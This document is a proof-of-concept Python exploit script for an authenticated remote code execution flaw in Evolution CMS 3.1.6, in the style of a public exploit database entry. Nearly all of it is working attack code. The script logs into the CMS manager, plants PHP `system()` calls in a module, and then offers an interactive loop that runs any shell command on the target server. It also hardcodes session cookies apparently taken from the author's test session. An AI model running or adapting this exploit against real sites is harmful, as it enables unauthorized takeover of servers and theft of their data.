Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)

# Exploit Title: Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)
# Date: 15-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://evo.im/
# Software Link: https://github.com/evolution-cms/evolution/releases
# Version: 3.1.6
# Category: Webapps
# Tested on: Linux/Windows


# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
#	   python3 exploit.py -h


from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import sys

def main():
	parser = argparse.ArgumentParser(description='Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)')
	parser.add_argument('-u', '--host', type=str, required=True)
	parser.add_argument('-l', '--login', type=str, required=True)
	parser.add_argument('-p', '--password', type=str, required=True)
	args = parser.parse_args()
	print("\nEvolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)",
		  "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
	sleep(2)
	exploit(args)

def exploit(args):

	#Check http or https
	if args.host.startswith(('http://', 'https://')):
		print("[?] Check Url...\n")
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		sleep(2)
	else:
		print("\n[?] Check Adress...\n")
		args.host = "http://" + args.host
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		sleep(2)

	# Check Host Status
	try:
		response = requests.get(args.host)
		if response.status_code != 200:
			print("[-] Address not reachable!")
			sleep(2)
			exit(1)

	except requests.ConnectionError as exception:
		print("[-] Address not reachable!")
		sleep(2)
		exit(1)


	# Login and cookie set
	session = requests.session()
	url = args.host + "/manager/?a=0"
	cookies = {
		"mybb[lastvisit]": "1631537273",
		"loginattempts": "1",
		"mybb[lastactive]": "1631537588",
		"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
		"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
		"KCFINDER_showname": "on",
		"KCFINDER_showsize": "off",
		"KCFINDER_showtime": "off",
		"KCFINDER_order": "name",
		"KCFINDER_orderDesc": "off",
		"KCFINDER_view": "thumbs",
		"KCFINDER_displaySettings": "off",
		"evoq28fzr": "o0hd9im6q76pptjcsjeaa693os"
	}

	headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Content-Type": "application/x-www-form-urlencoded;",
		"Accept": "*/*",
		"Origin": args.host,
		"Referer": args.host + "/manager/",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}

	data = {
		"ajax": "1",
		"username": args.login,
		"password": args.password,
		"rememberme": "1"
	}

	response = session.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
	new_cookie = response.cookies.get("evoq28fzr")
	user_role = response.cookies.get("modx_remember_manager")

	if user_role is None:
		print("[-] Login Failed!\n")
		print("[*]",response.text)
		sleep(2)
		exit(1)
	else:
		print("[+] Login Success!\n")
		sleep(2)
		print("[!] Login User", user_role,"\n")
		sleep(2)


	# User authorization check
	url = args.host + "/manager/index.php"
	cookies = {
		"mybb[lastvisit]": "1631537273",
		"loginattempts": "1",
		"mybb[lastactive]": "1631537588",
		"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
		 "evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
		 "KCFINDER_showname": "on",
		 "KCFINDER_showsize": "off",
		 "KCFINDER_showtime": "off",
		 "KCFINDER_order": "name",
		 "KCFINDER_orderDesc": "off",
		 "KCFINDER_view": "thumbs",
		 "KCFINDER_displaySettings": "off",
		 "webfxtab_modulePane": "0",
		 "evoq28fzr": new_cookie,
	}

	headers = {
		"Cache-Control": "max-age=0",
		"Upgrade-Insecure-Requests": "1",
		"Origin": args.host,
		"Content-Type": "application/x-www-form-urlencoded",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Referer": args.host + "/manager/index.php?a=108&id=1",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}
	data = {
		"a": "109",
		"id": "1",
		"mode": "108",
		"stay": "2",
		"name": "rce",
		"description": "<strong>0.1.3</strong> first repository for Evolution CMS ",
		"categoryid": "1",
		"newcategory": '',
		"icon": '',
		"resourcefile": '',
		"post": "system('whoami');",
		"guid": "8d4669cac3afd1f59d416f11eadf3355",
		"properties": "{}",
		"chkallgroups": "on",
		"save": "Submit"
	}

	response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
	soup = BeautifulSoup(response.text, 'html.parser')

	if soup.find_all("title")[0].text == "My Evolution Site (Evolution CMS Manager Login)":
		print("[!] Unauthorized user\n\n")
		print("User with module creation permissions is required.")
		exit(1)
	elif soup.find_all("p")[0].text == "You don't have enough privileges for this action!":
		print("[!] Unauthorized user\n\n")
		print("User with module creation permissions is required.")
		exit(1)
	else:
		print ("[+] Exploit Done!\n")
		sleep(2)
		pass

	while True:
		cmd = input("$ ")

		# Update Modules
		url = args.host + "/manager/index.php"
		cookies = {
			"mybb[lastvisit]": "1631537273",
			"loginattempts": "1",
			"mybb[lastactive]": "1631537588",
			"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
			 "evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
			 "KCFINDER_showname": "on",
			 "KCFINDER_showsize": "off",
			 "KCFINDER_showtime": "off",
			 "KCFINDER_order": "name",
			 "KCFINDER_orderDesc": "off",
			 "KCFINDER_view": "thumbs",
			 "KCFINDER_displaySettings": "off",
			 "webfxtab_modulePane": "0",
			 "evoq28fzr": new_cookie,
		}

		headers = {
			"Cache-Control": "max-age=0",
			"Upgrade-Insecure-Requests": "1",
			"Origin": args.host,
			"Content-Type": "application/x-www-form-urlencoded",
			"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
			"Referer": args.host + "/manager/index.php?a=108&id=1",
			"Accept-Encoding": "gzip, deflate",
			"Accept-Language": "en-US,en;q=0.9",
			"Connection": "close"
		}

		data = {
			"a": "109",
			"id": "1",
			"mode": "108",
			"stay": "2",
			"name": "rce",
			"description": "<strong>0.1.3</strong> first repository for Evolution CMS ",
			"categoryid": "1",
			"newcategory": '',
			"icon": '',
			"resourcefile": '',
			"post": "system('"+cmd+"');",
			"guid": "8d4669cac3afd1f59d416f11eadf3355",
			"properties": "{}",
			"chkallgroups": "on",
			"save": "Submit"
		}

		response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=5)


		# Run Modules
		url = args.host + "/manager/index.php?id=1&a=112"
		cookies = {
			"mybb[lastvisit]": "1631537273",
			"loginattempts": "1",
			"mybb[lastactive]": "1631537588",
			"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
			"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
			"KCFINDER_showname": "on",
			"KCFINDER_showsize": "off",
			"KCFINDER_showtime": "off",
			"KCFINDER_order": "name",
			"KCFINDER_orderDesc": "off",
			"KCFINDER_view": "thumbs",
			"KCFINDER_displaySettings": "off",
			"webfxtab_modulePane": "0",
			"evoq28fzr": new_cookie,
		}

		headers = {
			"Upgrade-Insecure-Requests": "1",
			"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
			"Referer": args.host + "/manager/index.php?a=108&id=1",
			"Accept-Encoding": "gzip, deflate",
			"Accept-Language": "en-US,en;q=0.9",
			"Connection": "close"
		}

		response = requests.get(url, headers=headers, cookies=cookies, timeout=5)
		if response.text == "":
			print(cmd + ": command not found\n")
		else:
			print(response.text)

if __name__ == '__main__':
	main()